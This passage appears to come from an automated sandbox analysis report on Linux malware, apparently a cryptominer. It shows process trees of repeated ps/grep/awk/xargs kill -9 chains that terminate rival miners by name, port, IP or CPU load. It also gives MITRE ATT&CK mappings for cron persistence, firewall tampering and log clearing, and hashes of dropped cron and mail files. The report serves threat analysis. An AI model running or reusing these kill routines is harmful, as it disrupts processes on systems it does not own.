  awk "{print \$2}"
  2⤵
  PID:1788
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1789
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1785
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1794
- /bin/grep
  grep -v grep
  2⤵
  PID:1792
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:1791
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1790
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1793
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1799
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1798
- /bin/grep
  grep -v grep
  2⤵
  PID:1797
- /bin/grep
  grep ./crun
  2⤵
  PID:1796
- /bin/ps
  ps aux
  2⤵
  PID:1795
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1804
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1803
- /bin/grep
  grep -v grep
  2⤵
  PID:1802
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:1801
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1800
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1808
- /bin/grep
  grep :3333
  2⤵
  PID:1807
- /bin/grep
  grep -v grep
  2⤵
  PID:1806
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1809
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1805
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1813
- /bin/grep
  grep :5555
  2⤵
  PID:1812
- /bin/grep
  grep -v grep
  2⤵
  PID:1811
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1814
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1810
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1819
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:1817
- /bin/grep
  grep -v grep
  2⤵
  PID:1816
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1815
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1818
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1823
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1824
- /bin/grep
  grep log_
  2⤵
  PID:1822
- /bin/grep
  grep -v grep
  2⤵
  PID:1821
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1820
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1829
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1828
- /bin/grep
  grep systemten
  2⤵
  PID:1827
- /bin/grep
  grep -v grep
  2⤵
  PID:1826
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1825
- /bin/grep
  grep netns
  2⤵
  PID:1833
- /bin/grep
  grep -v grep
  2⤵
  PID:1832
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1835
- - /usr/local/sbin/kill
    kill -9 14
    3⤵
    PID:1837
- - /usr/local/bin/kill
    kill -9 14
    3⤵
    PID:1837
- - /usr/sbin/kill
    kill -9 14
    3⤵
    PID:1837
- - /usr/bin/kill
    kill -9 14
    3⤵
    PID:1837
- - /sbin/kill
    kill -9 14
    3⤵
    PID:1837
- - /bin/kill
    kill -9 14
    3⤵
    PID:1837
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1834
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1831
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1842
- /bin/grep
  grep voltuned
  2⤵
  PID:1840
- /bin/grep
  grep -v grep
  2⤵
  PID:1839
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1841
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1838
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1846
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1847
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1843
- /bin/grep
  grep -v grep
  2⤵
  PID:1844
- /bin/grep
  grep darwin
  2⤵
  PID:1845
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1851
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1852
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1850
- /bin/grep
  grep -v grep
  2⤵
  PID:1849
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1848
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1857
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1855
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1856
- /bin/grep
  grep -v grep
  2⤵
  PID:1854
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1853
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1862
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1860
- /bin/grep
  grep -v grep
  2⤵
  PID:1859
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1858
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1861
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1866
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1865
- /bin/grep
  grep -v grep
  2⤵
  PID:1864
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1867
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1863
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1872
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1870
- /bin/grep
  grep -v grep
  2⤵
  PID:1869
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1868
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1871
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1877
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1876
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1875
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1873
- /bin/grep
  grep -v grep
  2⤵
  PID:1874
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1882
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1881
- /bin/grep
  grep -v grep
  2⤵
  PID:1879
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1880
- /bin/ps
  ps aux
  2⤵
  PID:1878
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1887
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1885
- /bin/grep
  grep -v grep
  2⤵
  PID:1884
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1886
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1883
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1892
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1890
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1891
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1888
- /bin/grep
  grep -v grep
  2⤵
  PID:1889
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1897
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1896
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1895
- /bin/grep
  grep -v grep
  2⤵
  PID:1894
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1893
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1902
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1900
- /bin/grep
  grep -v grep
  2⤵
  PID:1899
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1901
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1898
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1906
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:1905
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1907
- /bin/grep
  grep -v grep
  2⤵
  PID:1904
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1903
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1912
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:1910
- /bin/grep
  grep -v grep
  2⤵
  PID:1909
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1908
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1911
- /bin/grep
  grep -v grep
  2⤵
  PID:1914
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:1915
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1916
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1917
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1913
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1921
- /bin/grep
  grep -v grep
  2⤵
  PID:1919
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1922
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:1920
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1918
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1927
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:1925
- /bin/grep
  grep -v grep
  2⤵
  PID:1924
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1923
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1926
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1932
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:1930
- /bin/grep
  grep -v grep
  2⤵
  PID:1929
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1931
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1928
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:1935
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1937
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1933
- /bin/grep
  grep -v grep
  2⤵
  PID:1934
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1936
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1942
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1941
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1940
- /bin/grep
  grep -v grep
  2⤵
  PID:1939
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1938
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1946
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1947
- /bin/grep
  grep -v grep
  2⤵
  PID:1944
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:1945
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1943
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1952
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:1950
- /bin/grep
  grep -v grep
  2⤵
  PID:1949
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1948
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1951
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1957
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1956
- /bin/grep
  grep -v grep
  2⤵
  PID:1954
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:1955
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1953
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:1960
- /bin/grep
  grep -v grep
  2⤵
  PID:1959
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1962
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1958
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1961
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1967
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:1965
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1966
- /bin/grep
  grep -v grep
  2⤵
  PID:1964
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1963
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1971
- /bin/grep
  grep -v grep
  2⤵
  PID:1969
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1972
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:1970
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1968
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1977
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1976
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:1975
- /bin/grep
  grep -v grep
  2⤵
  PID:1974
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1973
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1982
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:1980
- /bin/grep
  grep -v grep
  2⤵
  PID:1979
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1981
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1978
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1986
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1987
- /bin/grep
  grep -v grep
  2⤵
  PID:1984
- /bin/grep
  grep HiPxCJRS
  2⤵
  - System Network Configuration Discovery
  PID:1985
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1983
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1991
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1992
- /bin/grep
  grep -v grep
  2⤵
  PID:1989
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:1990
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1988
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1996
- /bin/grep
  grep -v grep
  2⤵
  PID:1994
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1997
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:1995
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1993
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2003
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2004
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:2002
- /bin/grep
  grep -v grep
  2⤵
  PID:2001
- /bin/ps
  ps aux
  2⤵
  PID:2000
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2008
- /bin/grep
  grep -v grep
  2⤵
  PID:2006
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2009
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:2007
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2005
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2014
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:2012
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2013
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2010
- /bin/grep
  grep -v grep
  2⤵
  PID:2011
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2019
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  - System Network Configuration Discovery
  PID:2017
- /bin/grep
  grep -v grep
  2⤵
  PID:2016
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2018
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2015
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2023
- /bin/grep
  grep -v grep
  2⤵
  PID:2021
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:2022
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2020
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2028
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2027
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:2026
- /bin/grep
  grep -v grep
  2⤵
  PID:2025
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:2024
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2032
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2033
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:2031
- /bin/grep
  grep -v grep
  2⤵
  PID:2030
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2029
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2037
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2038
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:2036
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2034
- /bin/grep
  grep -v grep
  2⤵
  PID:2035
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2042
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2043
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:2041
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2039
- /bin/grep
  grep -v grep
  2⤵
  PID:2040
- /bin/grep
  grep nqscheduler
  2⤵
  PID:2046
- /bin/grep
  grep -v grep
  2⤵
  PID:2045
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2047
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2048
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:2044
- /bin/grep
  grep -v grep
  2⤵
  PID:2050
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2052
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2053
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2049
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:2051
- /bin/grep
  grep "]"
  2⤵
  PID:2057
- /bin/grep
  grep -v aux
  2⤵
  PID:2056
- /bin/grep
  grep -v grep
  2⤵
  PID:2055
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2054
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2059
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:2058
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:2062
- /bin/grep
  grep -v grep
  2⤵
  PID:2061
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2063
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2060
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2064
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2068
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2069
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:2067
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2065
- /bin/grep
  grep -v grep
  2⤵
  PID:2066
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2074
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2073
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:2072
- /bin/grep
  grep -v grep
  2⤵
  PID:2071
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2070
- /bin/grep
  grep -v _
  2⤵
  PID:2079
- /bin/grep
  grep -v /
  2⤵
  PID:2077
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2081
- /bin/grep
  grep -v grep
  2⤵
  PID:2076
- /bin/grep
  grep -v -
  2⤵
  PID:2078
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2075

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B

MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/mail/user

Filesize
825B

MD5
0f239112976bffb5271fd040c3b4bd47

SHA1
b6ce261d7fa82af83197305b34fc1ba45fa49ee7

SHA256
21dab3f464b7c2cdbf66ca1f096a81be2fb67fff634e82f31482b9d0d8e1bd35

SHA512
85a433e08c875f8158dd7c7c002acd53965a0be91a179223e12a9b100c07fdf5dec7de051877c1597cac8e1ba008f7d1fd4707fde47b455122158c2e78f6c721

Download Submit
/var/mail/user

Filesize
1KB

MD5
b1f66dc52583685981e38858abaead81

SHA1
f31c8d070d99399fde4c750d254f669e9626342b

SHA256
33d4cb4fd2e9769be4d0bd2f145b4efcd4d4c22daed9290a11fec2d7b5615089

SHA512
92a191f81fe07ffdd8909785a33e366311efd1b72316355b2a3b70e824aeb9d4fdef843454cdfef8461ab093852cae1d3bb261e85537e1270b42785724d78dcf

Download Submit
/var/spool/cron/crontabs/tmp.DZiJbh

Filesize
175B

MD5
874f9e030d69061810f21e12209ed1c9

SHA1
b86c6785a8394f6d109175f21d3e5978944c8da4

SHA256
9cd3dac8f754ef86e9b1e9a17398530dc539b2d350974687743b11e425c23ff8

SHA512
606d533140a96342a2652410ae9207b7f19b71aa5e570985dfd70af2b434a97a670df7bf4ede93021eddd04035714e7ec59b3f3348e5735e24efcfb887f7b531

Download Submit
/var/spool/cron/crontabs/tmp.d5FvC5

Filesize
175B

MD5
88aa631feac5df69bf73f9e0c5c9f2bc

SHA1
a75f6e46b5388ef717e6dd8015145015e1b7e1d8

SHA256
dd7f2e2b41eba7a0b19641705f019228108e6549dd6a52cd73938cb271779783

SHA512
6c81ad70934928d30dddd791b5a094b46049502b33efbc428cf830d9d451cd85f7c47910d26f6070be5e08698c18c7cd54e2dc7c24241f13acd95b48c259ff00

Download Submit
/var/spool/cron/crontabs/tmp.u96Dyi

Filesize
175B

MD5
6754dca57bd7dfb434abed8722006d4e

SHA1
85eaa7229b781b630aa9beedf4b20d31b2c45fba

SHA256
afe21f400c9441db0d15a002bdd8d22d35963bfaab0633ea2ec059d47ccd6e2e

SHA512
54e202de5afeec4ab1d4d29869110fcc50e61445f4535e30bf0ffa4d3c05568cde86d43033055ff3f5f8c648e07d709a19a2e37d949ffb272443c6b5a1447943

Download Submit
/var/spool/exim4/input/1tmN9k-0000B6-Vk-D

Filesize
128B

MD5
720d6300727c3ce02a0d60e6e8e094d8

SHA1
716cc729a7633b8e02d3f27544297cb79f12f6fe

SHA256
330644fcf0b2740b431115ac4f1d9dc2f9187e03f9799c58ccad70bdae3d6286

SHA512
e72ae8f48a7b4f60b086fa0420825072cfe3ab8e12f3658c04070780a66d966e22d9c1d38ab55f45b8b4774035d306c200aea09449fbe5b245f9208a9c43904b

Download Submit
/var/spool/exim4/input/1tmN9k-0000B6-Vk-J

Filesize
34B

MD5
d7d96d63d643a4ce3e408eba7dfcedc5

SHA1
c53607f95c5c57beafc1d8266646797a035f76ea

SHA256
21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

SHA512
703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

Download Submit
/var/spool/exim4/input/1tmN9k-0000B9-Vi-D

Filesize
146B

MD5
bf33a841295cd2fb5ca0dd6054f961bc

SHA1
8e2e7193b6a055cb7954c4af4d864c2042667012

SHA256
ad30d00bdfa7b5d483628d3439f7ff48a0fd5fa2006401a20a57ee7dba476511

SHA512
7379ac3893ed9d4fcdb4d7b7b3d1e0f08de94a1e578cd4b97547b7d65cc0178b1b6c0015792031d462eb0e7e82a1cb2e0bf09bc00d0ba04ad10e45e49a255c34

Download Submit
/var/spool/exim4/input/hdr.688

Filesize
915B

MD5
b3afe2f6fb7b4ea701002d81efe00ee3

SHA1
f471dde453e89841895c1ebf954ade545b3d0584

SHA256
ee1bd6cf125efd2a7509d7bf3f77456b6767ddbc2733299490e6a0f7a9188579

SHA512
7cb70687531c340b279434c9cfd952924671f128b7d12f58f363a96dc096681214c8654f61425ec4298abf660cb6f76c4d350408cc545d06ce4c8dff0e90b8c8

Download Submit
/var/spool/exim4/msglog/1tmN9k-0000B6-Vk

Filesize
288B

MD5
33ba85b2de7bb16ebd0e51800931ad47

SHA1
b0e3e8826e5feb0ea161c17a734b4a21ddd0a78b

SHA256
df256633093397bf35394a8a7aabcd628953eafc916d8a3149d3ffe5d7002a4c

SHA512
4e8a15fc8b60e6458b4a735a129d5e16aac37fca8764f04387d76e42982d30a3bd51149727d480573196b89e358a119c57430cf00fe5790260dc1f6c2db73311

Download Submit
/var/spool/exim4/msglog/1tmN9k-0000B6-Vk

Filesize
89B

MD5
f14f0ec34d713347329c14021158a534

SHA1
934aab518505e2e32d38d9753d2b4297c5ac5a5a

SHA256
22f625f30467978a8e3bc925a001bbdd5809a918db25c0b4a7f71a0f3d190221

SHA512
24a1652b0d42b2bfdbfbbad20b57da4987a202af17c4f62ea9810847aac100b63efc78d614d93a281224a0fba51b7f50e60dc0be38e799a28bf5f1d0042c6bd2

Download Submit
/var/spool/exim4/msglog/1tmN9k-0000B9-Vi

Filesize
288B

MD5
9a66d9150fd2bb002337f0367925a5b4

SHA1
ebc6c8788fe76858957190bd936f73d4d57a0850

SHA256
60ab894fe814591012dc5a3fe206182e041cca09d8e32e33ce0f02dc490afb35

SHA512
d70d3053f36abba059023c27c417f43261b0ff5fafe1834a50d2c983ecce7213b8e6e9dee8cc69b16a403cc174318de789621bb4594eec7a0c9b1481878a3691

Download Submit
/var/spool/exim4/msglog/1tmN9k-0000B9-Vi

Filesize
89B

MD5
b839e264e5045d2c8a445860dec416e2

SHA1
689181f849ad2461c8e1752754f7ac4d19c5e8e6

SHA256
c7d224ae5b7ac27a2d25ba585f22b116695720f7d99494dd668298c5292df38e

SHA512
c4892f6e1398d280bd97aae65169747c4aceef28bcc3575533bc6c75c3539f5b056693025121cc3a1bf135240aee3b22f1a0b6a71e5a8872b5c151ea68d471ae

Download Submit

Analysis

Sharing

General

